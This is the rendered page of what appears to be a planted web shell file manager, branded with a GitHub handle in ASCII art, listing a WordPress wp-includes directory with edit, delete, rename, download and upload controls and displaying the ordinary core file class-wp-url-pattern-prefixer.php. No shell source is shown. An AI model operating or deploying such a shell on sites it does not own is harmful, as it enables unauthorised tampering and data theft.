⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣿⣿⣿⣷⣼⣿⠀⣴⠾⠷⠶⠦⡄⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢠⡤⢶⣦⣾⣿⣿⣿⣿⣿⣿⣿⠀⣿⣶⣶⣦⣄⠳⣤⣤⠄⠀⠀⠀
⠀⠀⠀⢀⣼⣳⡿⢻⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣗⠈⠙⠻⣶⣄⡀⠀⠀⠀
⠀⠀⠀⣰⠿⠁⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠈⠳⣤⠀⠀
⠀⠀⢀⡟⠀⢰⣿⠟⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⠉⠁⠈⠻⣶⣄⠀⠀⠈⠛⢦   www.github.com/caterscam 
⠀⣀⡼⠃⠀⣼⡟⠀⠀⢸⣿⡿⠉⣿⡿⠿⠛⣿⡄⠀⠀⠀⠙⠿⣆⠀⠀⠀⠈
⠈⠁⠀⠀⢸⡟⠀⠀⠀⢸⣿⠀⠀⣿⠁⠀⠀⠈⠃⠀⠀⠀⠀⠀⠘⢷⡄⠀⠀
⠀⠀⠀⠀⣼⠃⠀⠀⠀⢸⡟⠀⠀⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡆⠀
⠀⠀⠀⣠⡏⠀⠀⠀⠀⣼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠻⠃⠀⠀⠀⠀⣻⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Current Dir: /dom834884/wp-includes/

[DIR] ID3 [ delete | rename ]
[DIR] IXR [ delete | rename ]
[DIR] PHPMailer [ delete | rename ]
[DIR] Requests [ delete | rename ]
[DIR] SimplePie [ delete | rename ]
[DIR] Text [ delete | rename ]
[DIR] assets [ delete | rename ]
[DIR] block-bindings [ delete | rename ]
[DIR] block-patterns [ delete | rename ]
[DIR] block-supports [ delete | rename ]
[DIR] blocks [ delete | rename ]
[DIR] certificates [ delete | rename ]
[DIR] css [ delete | rename ]
[DIR] customize [ delete | rename ]
[DIR] fonts [ delete | rename ]
[DIR] html-api [ delete | rename ]
[DIR] images [ delete | rename ]
[DIR] interactivity-api [ delete | rename ]
[DIR] js [ delete | rename ]
[DIR] l10n [ delete | rename ]
[DIR] php-compat [ delete | rename ]
[DIR] pomo [ delete | rename ]
[DIR] rest-api [ delete | rename ]
[DIR] sitemaps [ delete | rename ]
[DIR] sodium_compat [ delete | rename ]
[DIR] style-engine [ delete | rename ]
[DIR] theme-compat [ delete | rename ]
[DIR] widgets [ delete | rename ]
[FILE] admin-bar.php [ edit | delete | rename | download ]
[FILE] atomlib.php [ edit | delete | rename | download ]
[FILE] author-template.php [ edit | delete | rename | download ]
[FILE] block-bindings.php [ edit | delete | rename | download ]
[FILE] block-editor.php [ edit | delete | rename | download ]
[FILE] block-i18n.json [ edit | delete | rename | download ]
[FILE] block-patterns.php [ edit | delete | rename | download ]
[FILE] block-template-utils.php [ edit | delete | rename | download ]
[FILE] block-template.php [ edit | delete | rename | download ]
[FILE] blocks.php [ edit | delete | rename | download ]
[FILE] bookmark-template.php [ edit | delete | rename | download ]
[FILE] bookmark.php [ edit | delete | rename | download ]
[FILE] cache-compat.php [ edit | delete | rename | download ]
[FILE] cache.php [ edit | delete | rename | download ]
[FILE] canonical.php [ edit | delete | rename | download ]
[FILE] capabilities.php [ edit | delete | rename | download ]
[FILE] category-template.php [ edit | delete | rename | download ]
[FILE] category.php [ edit | delete | rename | download ]
[FILE] class-IXR.php [ edit | delete | rename | download ]
[FILE] class-avif-info.php [ edit | delete | rename | download ]
[FILE] class-feed.php [ edit | delete | rename | download ]
[FILE] class-http.php [ edit | delete | rename | download ]
[FILE] class-json.php [ edit | delete | rename | download ]
[FILE] class-oembed.php [ edit | delete | rename | download ]
[FILE] class-phpass.php [ edit | delete | rename | download ]
[FILE] class-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-pop3.php [ edit | delete | rename | download ]
[FILE] class-requests.php [ edit | delete | rename | download ]
[FILE] class-simplepie.php [ edit | delete | rename | download ]
[FILE] class-smtp.php [ edit | delete | rename | download ]
[FILE] class-snoopy.php [ edit | delete | rename | download ]
[FILE] class-walker-category-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-category.php [ edit | delete | rename | download ]
[FILE] class-walker-comment.php [ edit | delete | rename | download ]
[FILE] class-walker-nav-menu.php [ edit | delete | rename | download ]
[FILE] class-walker-page-dropdown.php [ edit | delete | rename | download ]
[FILE] class-walker-page.php [ edit | delete | rename | download ]
[FILE] class-wp-admin-bar.php [ edit | delete | rename | download ]
[FILE] class-wp-ajax-response.php [ edit | delete | rename | download ]
[FILE] class-wp-application-passwords.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-bindings-source.php [ edit | delete | rename | download ]
[FILE] class-wp-block-editor-context.php [ edit | delete | rename | download ]
[FILE] class-wp-block-list.php [ edit | delete | rename | download ]
[FILE] class-wp-block-metadata-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-block.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser-frame.php [ edit | delete | rename | download ]
[FILE] class-wp-block-parser.php [ edit | delete | rename | download ]
[FILE] class-wp-block-pattern-categories-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-patterns-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-styles-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-supports.php [ edit | delete | rename | download ]
[FILE] class-wp-block-template.php [ edit | delete | rename | download ]
[FILE] class-wp-block-templates-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-block-type.php [ edit | delete | rename | download ]
[FILE] class-wp-block.php [ edit | delete | rename | download ]
[FILE] class-wp-classic-to-block-menu-converter.php [ edit | delete | rename | download ]
[FILE] class-wp-comment-query.php [ edit | delete | rename | download ]
[FILE] class-wp-comment.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-control.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-manager.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-nav-menus.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-panel.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-section.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-setting.php [ edit | delete | rename | download ]
[FILE] class-wp-customize-widgets.php [ edit | delete | rename | download ]
[FILE] class-wp-date-query.php [ edit | delete | rename | download ]
[FILE] class-wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-dependency.php [ edit | delete | rename | download ]
[FILE] class-wp-duotone.php [ edit | delete | rename | download ]
[FILE] class-wp-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-embed.php [ edit | delete | rename | download ]
[FILE] class-wp-error.php [ edit | delete | rename | download ]
[FILE] class-wp-exception.php [ edit | delete | rename | download ]
[FILE] class-wp-fatal-error-handler.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache-transient.php [ edit | delete | rename | download ]
[FILE] class-wp-feed-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-hook.php [ edit | delete | rename | download ]
[FILE] class-wp-http-cookie.php [ edit | delete | rename | download ]
[FILE] class-wp-http-curl.php [ edit | delete | rename | download ]
[FILE] class-wp-http-encoding.php [ edit | delete | rename | download ]
[FILE] class-wp-http-ixr-client.php [ edit | delete | rename | download ]
[FILE] class-wp-http-proxy.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-hooks.php [ edit | delete | rename | download ]
[FILE] class-wp-http-requests-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-response.php [ edit | delete | rename | download ]
[FILE] class-wp-http-streams.php [ edit | delete | rename | download ]
[FILE] class-wp-http.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-gd.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor-imagick.php [ edit | delete | rename | download ]
[FILE] class-wp-image-editor.php [ edit | delete | rename | download ]
[FILE] class-wp-list-util.php [ edit | delete | rename | download ]
[FILE] class-wp-locale-switcher.php [ edit | delete | rename | download ]
[FILE] class-wp-locale.php [ edit | delete | rename | download ]
[FILE] class-wp-matchesmapregex.php [ edit | delete | rename | download ]
[FILE] class-wp-meta-query.php [ edit | delete | rename | download ]
[FILE] class-wp-metadata-lazyloader.php [ edit | delete | rename | download ]
[FILE] class-wp-navigation-fallback.php [ edit | delete | rename | download ]
[FILE] class-wp-network-query.php [ edit | delete | rename | download ]
[FILE] class-wp-network.php [ edit | delete | rename | download ]
[FILE] class-wp-object-cache.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed-controller.php [ edit | delete | rename | download ]
[FILE] class-wp-oembed.php [ edit | delete | rename | download ]
[FILE] class-wp-paused-extensions-storage.php [ edit | delete | rename | download ]
[FILE] class-wp-phpmailer.php [ edit | delete | rename | download ]
[FILE] class-wp-plugin-dependencies.php [ edit | delete | rename | download ]
[FILE] class-wp-post-type.php [ edit | delete | rename | download ]
[FILE] class-wp-post.php [ edit | delete | rename | download ]
[FILE] class-wp-query.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-cookie-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-email-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-key-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode-link-service.php [ edit | delete | rename | download ]
[FILE] class-wp-recovery-mode.php [ edit | delete | rename | download ]
[FILE] class-wp-rewrite.php [ edit | delete | rename | download ]
[FILE] class-wp-role.php [ edit | delete | rename | download ]
[FILE] class-wp-roles.php [ edit | delete | rename | download ]
[FILE] class-wp-script-modules.php [ edit | delete | rename | download ]
[FILE] class-wp-scripts.php [ edit | delete | rename | download ]
[FILE] class-wp-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-file.php [ edit | delete | rename | download ]
[FILE] class-wp-simplepie-sanitize-kses.php [ edit | delete | rename | download ]
[FILE] class-wp-site-query.php [ edit | delete | rename | download ]
[FILE] class-wp-site.php [ edit | delete | rename | download ]
[FILE] class-wp-speculation-rules.php [ edit | delete | rename | download ]
[FILE] class-wp-styles.php [ edit | delete | rename | download ]
[FILE] class-wp-tax-query.php [ edit | delete | rename | download ]
[FILE] class-wp-taxonomy.php [ edit | delete | rename | download ]
[FILE] class-wp-term-query.php [ edit | delete | rename | download ]
[FILE] class-wp-term.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-inline.php [ edit | delete | rename | download ]
[FILE] class-wp-text-diff-renderer-table.php [ edit | delete | rename | download ]
[FILE] class-wp-textdomain-registry.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-data.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-resolver.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json-schema.php [ edit | delete | rename | download ]
[FILE] class-wp-theme-json.php [ edit | delete | rename | download ]
[FILE] class-wp-theme.php [ edit | delete | rename | download ]
[FILE] class-wp-token-map.php [ edit | delete | rename | download ]
[FILE] class-wp-url-pattern-prefixer.php [ edit | delete | rename | download ]
[FILE] class-wp-user-meta-session-tokens.php [ edit | delete | rename | download ]
[FILE] class-wp-user-query.php [ edit | delete | rename | download ]
[FILE] class-wp-user-request.php [ edit | delete | rename | download ]
[FILE] class-wp-user.php [ edit | delete | rename | download ]
[FILE] class-wp-walker.php [ edit | delete | rename | download ]
[FILE] class-wp-widget-factory.php [ edit | delete | rename | download ]
[FILE] class-wp-widget.php [ edit | delete | rename | download ]
[FILE] class-wp-xmlrpc-server.php [ edit | delete | rename | download ]
[FILE] class-wp.php [ edit | delete | rename | download ]
[FILE] class-wpdb.php [ edit | delete | rename | download ]
[FILE] class.wp-dependencies.php [ edit | delete | rename | download ]
[FILE] class.wp-scripts.php [ edit | delete | rename | download ]
[FILE] class.wp-styles.php [ edit | delete | rename | download ]
[FILE] comment-template.php [ edit | delete | rename | download ]
[FILE] comment.php [ edit | delete | rename | download ]
[FILE] compat.php [ edit | delete | rename | download ]
[FILE] cron.php [ edit | delete | rename | download ]
[FILE] date.php [ edit | delete | rename | download ]
[FILE] default-constants.php [ edit | delete | rename | download ]
[FILE] default-filters.php [ edit | delete | rename | download ]
[FILE] default-widgets.php [ edit | delete | rename | download ]
[FILE] deprecated.php [ edit | delete | rename | download ]
[FILE] embed-template.php [ edit | delete | rename | download ]
[FILE] embed.php [ edit | delete | rename | download ]
[FILE] error-protection.php [ edit | delete | rename | download ]
[FILE] feed-atom-comments.php [ edit | delete | rename | download ]
[FILE] feed-atom.php [ edit | delete | rename | download ]
[FILE] feed-rdf.php [ edit | delete | rename | download ]
[FILE] feed-rss.php [ edit | delete | rename | download ]
[FILE] feed-rss2-comments.php [ edit | delete | rename | download ]
[FILE] feed-rss2.php [ edit | delete | rename | download ]
[FILE] feed.php [ edit | delete | rename | download ]
[FILE] fonts.php [ edit | delete | rename | download ]
[FILE] formatting.php [ edit | delete | rename | download ]
[FILE] functions.php [ edit | delete | rename | download ]
[FILE] functions.wp-scripts.php [ edit | delete | rename | download ]
[FILE] functions.wp-styles.php [ edit | delete | rename | download ]
[FILE] general-template.php [ edit | delete | rename | download ]
[FILE] global-styles-and-settings.php [ edit | delete | rename | download ]
[FILE] http.php [ edit | delete | rename | download ]
[FILE] https-detection.php [ edit | delete | rename | download ]
[FILE] https-migration.php [ edit | delete | rename | download ]
[FILE] kses.php [ edit | delete | rename | download ]
[FILE] l10n.php [ edit | delete | rename | download ]
[FILE] link-template.php [ edit | delete | rename | download ]
[FILE] load.php [ edit | delete | rename | download ]
[FILE] locale.php [ edit | delete | rename | download ]
[FILE] media-template.php [ edit | delete | rename | download ]
[FILE] media.php [ edit | delete | rename | download ]
[FILE] meta.php [ edit | delete | rename | download ]
[FILE] ms-blogs.php [ edit | delete | rename | download ]
[FILE] ms-default-constants.php [ edit | delete | rename | download ]
[FILE] ms-default-filters.php [ edit | delete | rename | download ]
[FILE] ms-deprecated.php [ edit | delete | rename | download ]
[FILE] ms-files.php [ edit | delete | rename | download ]
[FILE] ms-functions.php [ edit | delete | rename | download ]
[FILE] ms-load.php [ edit | delete | rename | download ]
[FILE] ms-network.php [ edit | delete | rename | download ]
[FILE] ms-settings.php [ edit | delete | rename | download ]
[FILE] ms-site.php [ edit | delete | rename | download ]
[FILE] nav-menu-template.php [ edit | delete | rename | download ]
[FILE] nav-menu.php [ edit | delete | rename | download ]
[FILE] option.php [ edit | delete | rename | download ]
[FILE] pluggable-deprecated.php [ edit | delete | rename | download ]
[FILE] pluggable.php [ edit | delete | rename | download ]
[FILE] plugin.php [ edit | delete | rename | download ]
[FILE] post-formats.php [ edit | delete | rename | download ]
[FILE] post-template.php [ edit | delete | rename | download ]
[FILE] post-thumbnail-template.php [ edit | delete | rename | download ]
[FILE] post.php [ edit | delete | rename | download ]
[FILE] query.php [ edit | delete | rename | download ]
[FILE] registration-functions.php [ edit | delete | rename | download ]
[FILE] registration.php [ edit | delete | rename | download ]
[FILE] rest-api.php [ edit | delete | rename | download ]
[FILE] revision.php [ edit | delete | rename | download ]
[FILE] rewrite.php [ edit | delete | rename | download ]
[FILE] robots-template.php [ edit | delete | rename | download ]
[FILE] rss-functions.php [ edit | delete | rename | download ]
[FILE] rss.php [ edit | delete | rename | download ]
[FILE] script-loader.php [ edit | delete | rename | download ]
[FILE] script-modules.php [ edit | delete | rename | download ]
[FILE] session.php [ edit | delete | rename | download ]
[FILE] shortcodes.php [ edit | delete | rename | download ]
[FILE] sitemaps.php [ edit | delete | rename | download ]
[FILE] speculative-loading.php [ edit | delete | rename | download ]
[FILE] spl-autoload-compat.php [ edit | delete | rename | download ]
[FILE] style-engine.php [ edit | delete | rename | download ]
[FILE] taxonomy.php [ edit | delete | rename | download ]
[FILE] template-canvas.php [ edit | delete | rename | download ]
[FILE] template-loader.php [ edit | delete | rename | download ]
[FILE] template.php [ edit | delete | rename | download ]
[FILE] theme-i18n.json [ edit | delete | rename | download ]
[FILE] theme-previews.php [ edit | delete | rename | download ]
[FILE] theme-templates.php [ edit | delete | rename | download ]
[FILE] theme.json [ edit | delete | rename | download ]
[FILE] theme.php [ edit | delete | rename | download ]
[FILE] update.php [ edit | delete | rename | download ]
[FILE] user.php [ edit | delete | rename | download ]
[FILE] vars.php [ edit | delete | rename | download ]
[FILE] version.php [ edit | delete | rename | download ]
[FILE] widgets.php [ edit | delete | rename | download ]
[FILE] wp-db.php [ edit | delete | rename | download ]
[FILE] wp-diff.php [ edit | delete | rename | download ]

Viewing: /dom834884/wp-includes/class-wp-url-pattern-prefixer.php

<?php
/**
 * Class 'WP_URL_Pattern_Prefixer'.
 *
 * @package WordPress
 * @subpackage Speculative Loading
 * @since 6.8.0
 */

/**
 * Class for prefixing URL patterns.
 *
 * This class is intended primarily for use as part of the speculative loading feature.
 *
 * @since 6.8.0
 * @access private
 */
class WP_URL_Pattern_Prefixer {

	/**
	 * Map of `$context_string => $base_path` pairs.
	 *
	 * @since 6.8.0
	 * @var array<string, string>
	 */
	private $contexts;

	/**
	 * Constructor.
	 *
	 * @since 6.8.0
	 *
	 * @param array<string, string> $contexts Optional. Map of `$context_string => $base_path` pairs. Default is the
	 *                                        contexts returned by the
	 *                                        {@see WP_URL_Pattern_Prefixer::get_default_contexts()} method.
	 */
	public function __construct( array $contexts = array() ) {
		if ( count( $contexts ) > 0 ) {
			$this->contexts = array_map(
				static function ( string $str ): string {
					return self::escape_pattern_string( trailingslashit( $str ) );
				},
				$contexts
			);
		} else {
			$this->contexts = self::get_default_contexts();
		}
	}

	/**
	 * Prefixes the given URL path pattern with the base path for the given context.
	 *
	 * This ensures that these path patterns work correctly on WordPress subdirectory sites, for example in a multisite
	 * network, or when WordPress itself is installed in a subdirectory of the hostname.
	 *
	 * The given URL path pattern is only prefixed if it does not already include the expected prefix.
	 *
	 * @since 6.8.0
	 *
	 * @param string $path_pattern URL pattern starting with the path segment.
	 * @param string $context      Optional. Context to use for prefixing the path pattern. Default 'home'.
	 * @return string URL pattern, prefixed as necessary.
	 */
	public function prefix_path_pattern( string $path_pattern, string $context = 'home' ): string {
		// If context path does not exist, the context is invalid.
		if ( ! isset( $this->contexts[ $context ] ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				esc_html(
					sprintf(
						/* translators: %s: context string */
						__( 'Invalid URL pattern context %s.' ),
						$context
					)
				),
				'6.8.0'
			);
			return $path_pattern;
		}

		/*
		 * In the event that the context path contains a :, ? or # (which can cause the URL pattern parser to switch to
		 * another state, though only the latter two should be percent encoded anyway), it additionally needs to be
		 * enclosed in grouping braces. The final forward slash (trailingslashit ensures there is one) affects the
		 * meaning of the * wildcard, so is left outside the braces.
		 */
		$context_path         = $this->contexts[ $context ];
		$escaped_context_path = $context_path;
		if ( strcspn( $context_path, ':?#' ) !== strlen( $context_path ) ) {
			$escaped_context_path = '{' . substr( $context_path, 0, -1 ) . '}/';
		}

		/*
		 * If the path already starts with the context path (including '/'), remove it first
		 * since it is about to be added back.
		 */
		if ( str_starts_with( $path_pattern, $context_path ) ) {
			$path_pattern = substr( $path_pattern, strlen( $context_path ) );
		}

		return $escaped_context_path . ltrim( $path_pattern, '/' );
	}

	/**
	 * Returns the default contexts used by the class.
	 *
	 * @since 6.8.0
	 *
	 * @return array<string, string> Map of `$context_string => $base_path` pairs.
	 */
	public static function get_default_contexts(): array {
		return array(
			'home'       => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( home_url( '/' ), PHP_URL_PATH ) ) ),
			'site'       => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( site_url( '/' ), PHP_URL_PATH ) ) ),
			'uploads'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( wp_upload_dir( null, false )['baseurl'], PHP_URL_PATH ) ) ),
			'content'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( content_url(), PHP_URL_PATH ) ) ),
			'plugins'    => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( plugins_url(), PHP_URL_PATH ) ) ),
			'template'   => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_stylesheet_directory_uri(), PHP_URL_PATH ) ) ),
			'stylesheet' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_template_directory_uri(), PHP_URL_PATH ) ) ),
		);
	}

	/**
	 * Escapes a string for use in a URL pattern component.
	 *
	 * @since 6.8.0
	 * @see https://urlpattern.spec.whatwg.org/#escape-a-pattern-string
	 *
	 * @param string $str String to be escaped.
	 * @return string String with backslashes added where required.
	 */
	private static function escape_pattern_string( string $str ): string {
		return addcslashes( $str, '+*?:{}()\\' );
	}
}

Upload File: